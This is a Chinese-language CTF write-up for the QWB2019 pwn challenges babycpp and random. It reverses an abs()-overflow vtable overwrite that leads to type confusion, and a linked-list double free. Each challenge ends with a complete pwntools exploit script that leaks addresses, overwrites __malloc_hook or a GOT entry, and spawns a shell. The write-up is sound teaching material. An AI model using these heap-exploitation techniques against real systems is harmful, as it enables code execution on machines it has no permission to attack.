QWB2019 babycpp & random复现

babycpp

分析:

程序本身模拟两种类型的数组IntArray,StringArray.其中IntArray用来存放整形数字,StringArray用来存放字符串.有一种JS解释器中Array对象属性的表示的感觉.
通过分析得到存放数组信息的结构体:

1
2
3
4
5
6
00000000 info            struc ; (sizeof=0x28, mappedto_6)
00000000 vtable dq ?
00000008 hash db 16 dup(?)
00000018 hash_length dq ?
00000020 array_ptr dq ?
00000028 info ends

对象创建

创建IntArray对象的构造函数:

1
2
3
4
5
6
7
8
9
_QWORD *__fastcall IntArray(_QWORD *a1)
{
_QWORD *result; // rax

BaseArray((info *)a1);
result = a1;
*a1 = LongArrayVtable;
return result;
}

IntArray类继承自BaseArray类.

1
2
3
4
5
6
7
8
9
10
11
12
info *__fastcall BaseArray(info *a1)
{
info *result; // rax

a1->vtable = (__int64)BaseArrayVtable;
a1->array_ptr = (__int64)malloc(0x80uLL);
memset((void *)a1->array_ptr, 0, 0x80uLL);
a1->hash_length = 16LL;
result = a1;
a1->hash[0] = ArrayNumbs;
return result;
}

BaseArray这里malloc了一块内存用来存放数组元素,以ArrayNumbs当做hash值.
StringArray类和IntArray类只是重写了BaseArray的虚函数.
后面的Show,Edit功能都是直接调用某个对象的成员函数.

Edit函数

StringArray:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
printf("Input idx:");
scanf("%d", &idx);
ptr = a1->array_ptr;
if ( idx >= 0 && idx < a1->hash_length )
{
if ( *(_QWORD *)(8LL * idx + ptr) ) // 如果有元素
{
ReadString(*(StringElement **)(8LL * idx + ptr));
}
else
{
printf("Input the len of the obj:");
scanf("%d", &size);
if ( size <= 0x100 && size > 0 )
{
element = (StringElement *)operator new(0x10uLL);
CreateNewStringElement(element, size);
v5 = element;
ReadString(element);
*(_QWORD *)(ptr + 8LL * idx) = v5;
}

如果输入的idx位置为空,则用malloc一块内存,CreateNewStringElement初始化它为一个String元素,然后保存在StringArray对应的idx处
CreateNewStringElement:

1
2
3
4
5
6
7
8
9
10
StringElement *__fastcall CreateNewStringElement(StringElement *a1, int size)
{
void *v2; // rdx
StringElement *result; // rax
a1->size = size;
v2 = malloc(size);
result = a1;
a1->StringPtr = (__int64)v2;
return result;
}

这里malloc一块内存用来存放真正的字符串.
一个String元素的结构体如下:

1
2
3
4
00000000 StringElement   struc ; (sizeof=0xC, mappedto_7)
00000000 StringPtr dq ?
00000008 size dd ?
0000000C StringElement ends

创建完StringArray的视图大概如下:

IntArray:

1
2
3
4
5
6
7
printf("Input idx:");
scanf("%d", &idx);
printf("Input val:");
scanf("%lx", &value);
v4 = a1->array_ptr;
if ( idx >= 0 && idx < a1->hash_length )
*(_QWORD *)(8LL * idx + v4) = value;

直接在对应的idx处写入数字即可.

Update函数:

Update函数用来修改某个Array的hash值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall update(__int64 info_ptr)
{
int idx; // [rsp+10h] [rbp-20h]
int v3; // [rsp+14h] [rbp-1Ch]
int i; // [rsp+18h] [rbp-18h]
int hash; // [rsp+1Ch] [rbp-14h]
char s[8]; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u);
memset(s, 0, 8uLL);
printf("Input idx:", 0LL);
scanf("%u", &idx);
printf("Input hash:");
hash = read(0, s, 0x10uLL);
v3 = abs(idx) % 15;
for ( i = 0; i < hash; ++i )
{
if ( v3 + i == 16 )
v3 = 0;
*(_BYTE *)(info_ptr + v3 + i + 8) = s[i];
}
return __readfsqword(0x28u) ^ v7;
}

漏洞就出来abs这里,输入idx为0x80000000,abs就会发生溢出.
abs工作的流程如下:
如果是负数, ( x^( x >> 31 )) - (x >> 31)
负数的最高位是1,右移31为后变成0xffffffff,值为-1,一个数和-1异或 即是对该数进行按位取反操作,然后减去-1即是+1,得到该补码的数值表示.

0x80000000转化为2进制即是:10000000000000000000000000000000, 跟0xffffffff异或过后得到 0x7fffffff,加上1过后又得到了0x80000000,即是一个负数,这样就可以上溢,修改当前对象的vtable

漏洞利用

修改StringArray的vtable为IntArray的Vtable,即可以造成类型混淆,类似V8修改对象的Map,再Show的时候就可以打印出堆地址.
然后在堆上伪造一个StringElement结构,然后类型混淆修改StringArray的某个元素为这个伪造的结构的地址,这样就可以进行任意读写.
读取堆上保存的vtable地址,得到程序段基质,然后读取got表,获得libc的地址,接着修改__malloc_hook为one_gadget,这里需要利用realloc来调整下.

泄露堆地址:
1
2
3
4
5
6
7
8
9
10
11
IntVtable = '\xe0\x5c'
StringVtable = '\x00\x5d'
add(1)# 0 IntArray
add(2)# 1 StringArray
add(2)# 2 StringArray

StringNewElement(1,0,0x100,'A')
UpdateHash(1,0x80000000,IntVtable)# 修改StringArray的vtable
show(1,0)
a.recvuntil("is ")
heap_base = int(a.recvuntil("\n",drop=True),16)-0x120b0

先初始化StringArray的一个元素,让 *(Array_Ptr+idx)处有堆地址,然后利用类型混淆泄露出堆地址.修改vtable的时候需要爆破一个字节.

伪造一个StringElement结构:
1
2
3
4
target_addr = 0x555555768e70-0x555555757000+heap_base
payload = p64(target_addr)
payload += p32(0x100)
StringNewElement(2,0,0x100,payload)

在StringArray_1中创建一个字符串元素,写入伪造的结构.
然后利用类型混淆修改StringArray_0的第一个元素为这个伪造的地址:

1
2
3
4
5
6
target_addr = 0x555555769200 - 0x555555757000+heap_base
IntEdit(1,0,hex(target_addr))
UpdateHash(1,0x80000000,StringVtable)
show(1,0)
a.recvuntil("tent:")
text_base = u64(a.recvuntil("\n",drop=True)+'\x00\x00')-0x000000000201CE0

show得到程序段地址.
后面就是反复利用这个过程,泄露libc基质,然后修改__malloc_hook和realloc_hook

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#coding=utf-8
# 2.27
from pwn import *
local = 1
exec_file="./babycpp"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec = False)
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec = False)
else:
a=remote("")

def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *($text_base+0x000000000000C37)
'''
gdb.attach(a,script)
def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def menu(idx):
a.sendlineafter("Your choice:",str(idx))
hash = []
number = 0
def add(flag):
global number
global hash
menu(0)
menu(flag)
print "number :"+str(number)
hash.append(p8(number)+'\x00')
number+=1
def show(idx1,idx2):#idx1 array_idx , idx2 element_idx
menu(1)
a.sendafter("Input array hash:",hash[idx1])
a.sendlineafter("Input idx:",str(idx2))

def StringNewElement(idx1,idx2,len,content):
menu(2)
a.sendafter("hash:",hash[idx1])
a.sendlineafter("Input idx:",str(idx2))
a.sendlineafter("Input the len of the obj:",str(len))
a.sendafter("Input your content:",content)
def StringEdit(idx1,idx2,content):
menu(2)
a.sendafter("hash:",hash[idx1])
a.sendlineafter("Input idx:",str(idx2))
a.sendafter("Input your content:",content)
def IntEdit(idx1,idx2,value):
menu(2)
a.sendafter("hash:",hash[idx1])
a.sendlineafter("Input idx:",str(idx2))
a.sendlineafter("Input val:",(value))
def UpdateHash(idx1,idx2,hash1):
menu(3)
a.sendafter("hash:",hash[idx1])
a.sendlineafter("Input idx:",str(idx2))
a.sendafter(":",hash1)
IntVtable = '\xe0\x5c'
StringVtable = '\x00\x5d'
add(1)# 0 IntArray
add(2)# 1 StringArray
add(2)# 2 StringArray

StringNewElement(1,0,0x100,'A')
UpdateHash(1,0x80000000,IntVtable)# baopo
show(1,0)
a.recvuntil("is ")
heap_base = int(a.recvuntil("\n",drop=True),16)-0x120b0
fuck(heap_base)

target_addr = 0x555555768e70-0x555555757000+heap_base
payload = p64(target_addr)
payload += p32(0x100)

StringNewElement(2,0,0x100,payload)
target_addr = 0x555555769200 - 0x555555757000+heap_base
#debug()
IntEdit(1,0,hex(target_addr))
#debug()
UpdateHash(1,0x80000000,StringVtable)
show(1,0)
#debug()
a.recvuntil("tent:")
text_base = u64(a.recvuntil("\n",drop=True)+'\x00\x00')-0x000000000201CE0
fuck(text_base)

puts_got = elf.got["puts"] + text_base
payload = p64(puts_got)
payload += p32(0x100)
StringEdit(2,0,payload)
UpdateHash(1,0x80000000,IntVtable)
IntEdit(1,0,hex(target_addr))
UpdateHash(1,0x80000000,StringVtable)
show(1,0)
a.recvuntil("tent:")
puts_addr=u64(a.recv(6)+'\x00\x00')
fuck(puts_addr)
libc_base = puts_addr - libc.symbols["puts"]
fuck(libc_base)
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
one = libc_base+ 0x4f2c5
fuck(__malloc_hook)
fuck(one)
payload = p64(__malloc_hook-8)
payload += p32(0x100)
StringEdit(2,0,payload)
UpdateHash(1,0x80000000,IntVtable)
IntEdit(1,0,hex(target_addr))
UpdateHash(1,0x80000000,StringVtable)
StringEdit(1,0,p64(one)+p64(libc_base+libc.symbols["realloc"]+6))
add(1)
a.interactive()

random

程序分析

程序流程比较复杂,需要逆向一段时间…

程序把需要执行的函数信息都保存在一个结构体中:

1
2
3
4
5
00000000 func_chunk      struc ; (sizeof=0x18, mappedto_6)
00000000 fd dq ?
00000008 func_ptr dq ?
00000010 flag dq ?
00000018 func_chunk ends

使用下面的函数进行创建.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 *__fastcall DoCallocFunc(__int64 func, int flag)
{
func_chunk *v2; // rax
func_chunk *v3; // rdx
__int64 *result; // rax
v2 = (func_chunk *)calloc(1uLL, 0x18uLL);
v2->flag = flag;
v2->func_ptr = func;
v2->fd = header;
v3 = v2;
result = &header;
header = (__int64)v3;
return result;
}

需要执行的函数用一个单向链表串起来.

执行的时候用以下函数进行遍历:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
_QWORD *__fastcall RunFunc(int flag)
{
_QWORD *result; // rax
func_chunk *ptr; // [rsp+10h] [rbp-20h]
func_chunk *Targe_fd; // [rsp+18h] [rbp-18h]
func_chunk *Target_bk; // [rsp+20h] [rbp-10h]
void (__fastcall *current_func_ptr)(func_chunk *); // [rsp+28h] [rbp-8h]

result = (_QWORD *)header;
if ( header )
{
ptr = (func_chunk *)header;
Target_bk = (func_chunk *)header;
do
{
while ( ptr->flag != flag ) // 遍历,寻找对应的flag的chunk
{
Target_bk = ptr;
result = (_QWORD *)ptr->fd;
ptr = (func_chunk *)ptr->fd;
if ( !ptr )
return result;
}
current_func_ptr = (void (__fastcall *)(func_chunk *))ptr->func_ptr;
if ( ptr == (func_chunk *)header ) // 将要执行的函数的chunk是链表头
{
header = ptr->fd;
Target_bk = (func_chunk *)header;
Targe_fd = (func_chunk *)header;
}
else
{
Target_bk->fd = ptr->fd; // 将他从链表中取出
Targe_fd = (func_chunk *)ptr->fd;
}
free(ptr);
current_func_ptr(ptr);
result = &Targe_fd->fd;
ptr = Targe_fd;
}
while ( Targe_fd );
}
return result;
}

如果在add函数中进行增加add结构体的选项,这个遍历过程就会出现问题.
假设当遍历到add节点的时候,header指向的是add节点:

此时Target_bk,Target_fd,ptr都指向add节点.
然后将add节点从当前链中取出:

除了ptr,都指向了下一个节点.
然后在add中选择新增节点:

执行完函数后,ptr也指向了下一个节点.

然后下次循环时会执行这个分支:

1
2
3
4
5
else
{
Target_bk->fd = ptr->fd; // 将他从链表中取出
Targe_fd = (func_chunk *)ptr->fd;
}

这个分支并不会将这个节点移除链表,free过后仍然留在链表上:

这样当下次再执行这个节点的时候就又会将它free一次,这样就造成了double free.

漏洞利用

利用double free劫持全局数组,这样就可以任意读写了.

一次add操作如果add的chunk size < 0x20这样就可以消耗掉fastbin链上一个chunk,里double free的chunk就会近一个chunk.
选择每天玩多少次,就需要calloc多少次来创建chunk保存函数信息,这样可以吃掉fastbin链上的chunk.
选择一个合适的距离,选择玩游戏这个(距离)次过后正好calloc到这个double free chunk,且需要这一天第一次游戏正好是add函数.
由于RunFunc函数是先free掉保存这个函数信息的chunk,然后再执行函数,这样add函数就可以正好申请到这个double free chunk。

预测随机数:
1
2
3
4
5
6
7
8
9
10
11
12
13
from ctypes import *
libc=CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(0)
for i in range(50):
choice=libc.rand()%4
if choice == 0:
print str(i+1)+": add"
elif choice == 1:
print str(i+1)+": edit"
elif choice == 2:
print str(i+1)+": delete"
else :
print str(i+1)+": show"
double free
1
2
3
4
5
6
7
8
9
10
one_day(8)#1-8
#debug()
add(0x11,'A\n','Y') #增加一个add节点
#debug()
# double free chunk 0x555555758100
for i in range(7):
do_pass()
one_day(7)#9 - 15
for i in range(7+2): # 7 + 1个add节点,然后delete节点再N
do_pass()

此时结果如下:

修改fd

然后选择玩两次,add到这个double free chunk,修改fd:

1
2
3
one_day(2)#16 - 17
add(0x11,p64(ptr_addr+0x20)+'\n',"N")
do_pass()

伪造size
1
2
3
4
5
6
one_day(5)#18 - 22
add(0x21,'A\n',"N")
do_pass()
add(0x21,'A\n','N')
add(0x21,'A\n','N')
do_pass()

伪造size是为了绕过free和malloc的检查,当申请到全局数组的时候需要有合法的size,保存结构体的chunk free的时候需要当前chunk的下一个chunk的size是合法的
最后就是找到合适的时机正好add到这个目标chunk即可.

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#coding=utf-8
from pwn import *
local = 1
exec_file="./random"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
if local :
a=process(exec_file)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("")
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *($text_base+0x0000000000011C4)
b *($text_base+0x00000000000011AC)
'''
gdb.attach(a,script)
def do_pass():
a.recvuntil("\n")
a.sendline("N")
def dogame(flag):
while True:
s = a.recvuntil("\n")
if flag in s:
a.sendline("Y")
break
else:
a.sendline("N")
def add(size,content,flag2):
dogame("add")
a.sendlineafter("Input the size of the note:\n",str(size))
a.sendafter("Input the content of the note:",content)
a.sendlineafter(", tomorrow?(Y/N)\n",flag2)
def delete(idx):
dogame("delete")
a.sendlineafter("Input the index of the note:\n",str(idx))
def show(idx):
dogame("view")
a.sendlineafter("Input the index of the note:\n",str(idx))
def edit(idx,content):
dogame("update")
a.sendlineafter("Input the index of the note:\n",str(idx))
a.sendafter("Input the new content of the note:",content)
def init():
a.recvuntil('Please input your name:\n')
a.send('A'*8)
a.recvuntil('A'*8)
text_base = u64(a.recvuntil('?')[:-1].ljust(8,'\x00'))-0xb90
a.sendlineafter("\n",str(35))
return text_base
def one_day(times):
a.sendlineafter("game today?(0~10)\n",str(times))
text_base=init()
success("text_base ==> 0x%x"%text_base)
ptr_addr = text_base+0x203180
success("info_array ==> 0x%x"%ptr_addr)
one_day(8)#1-8
#debug()
add(0x11,'A\n','Y') #增加一个add节点
#debug()
# double free chunk 0x555555758100
for i in range(7):
do_pass()
one_day(7)#9 - 15
for i in range(7+2): # 7 + 1个add节点,然后delete节点再N
do_pass()
#debug()
one_day(2)#16 - 17
add(0x11,p64(ptr_addr+0x20)+'\n',"N")
do_pass()
#debug()
one_day(5)#18 - 22
#debug()
add(0x21,'A\n',"N")#伪造size
do_pass()
add(0x21,'A\n','N')#伪造size
add(0x21,'A\n','N')#伪造size,伪造size是为了 保存函数信息申请到目标chunk,要先free,绕过free检查.
do_pass()

# malloc 9
# 16

one_day(6)
for i in range(6):
do_pass()
#debug()
one_day(10)
setvbuf = elf.got["setvbuf"]

add(0x17,p64(text_base+setvbuf)+'\n','N')
show(3)
libc_base=u64(a.recv(6)+'\x00\x00')-libc.symbols["setvbuf"]
success("libc_base ==> 0x%x"%libc_base)
a.sendlineafter("\n","Y")
a.sendlineafter("\n","3")
a.sendlineafter("\n","A"*8+p64(libc_base+libc.symbols["system"]))
a.sendlineafter("\n","Y")
a.sendlineafter("\n","/bin/sh\x00")
a.interactive()